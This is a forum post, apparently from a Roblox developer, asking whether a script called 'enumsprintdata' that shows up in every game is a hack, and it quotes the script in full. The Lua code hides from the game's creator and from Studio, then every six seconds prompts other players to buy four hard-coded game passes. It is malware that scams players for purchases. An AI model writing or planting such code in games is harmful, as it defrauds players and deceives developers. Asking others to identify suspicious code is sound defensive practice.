Every single game I load into there’s a script called ‘enumsprintdata’. Am I getting hacked or something?
Here’s its code
local plr = "empty"
local enum_1 = 26929682 local enum_2 = 26929616 local enum_3 = 18832101 local enum_4 = 18831287
local mp = game:GetService("MarketplaceService") local mpservice = game.MarketplaceService
if game:GetService('RunService'):IsStudio() then return end
if game.CreatorType == Enum.CreatorType.User then plr = game.Players:GetNameFromUserIdAsync(game.CreatorId)
else local groupOwnerName = game:GetService("GroupService"):GetGroupInfoAsync(game.CreatorId).Owner.Name
plr = groupOwnerName
end
if script.Parent.Parent.Name == plr then return else while wait(6) do pcall(function()
if not mp:UserOwnsGamePassAsync(script.Parent.Parent.UserId, enum_2) then mpservice:PromptGamePassPurchase(script.Parent.Parent, enum_2)
else if not mp:UserOwnsGamePassAsync(script.Parent.Parent.UserId, enum_1) then mpservice:PromptGamePassPurchase(script.Parent.Parent, enum_1)
else if not mp:UserOwnsGamePassAsync(script.Parent.Parent.UserId, enum_3) then mpservice:PromptGamePassPurchase(script.Parent.Parent, enum_3)
else if not mp:UserOwnsGamePassAsync(script.Parent.Parent.UserId, enum_4) then mpservice:PromptGamePassPurchase(script.Parent.Parent, enum_4)
end end end end end) end end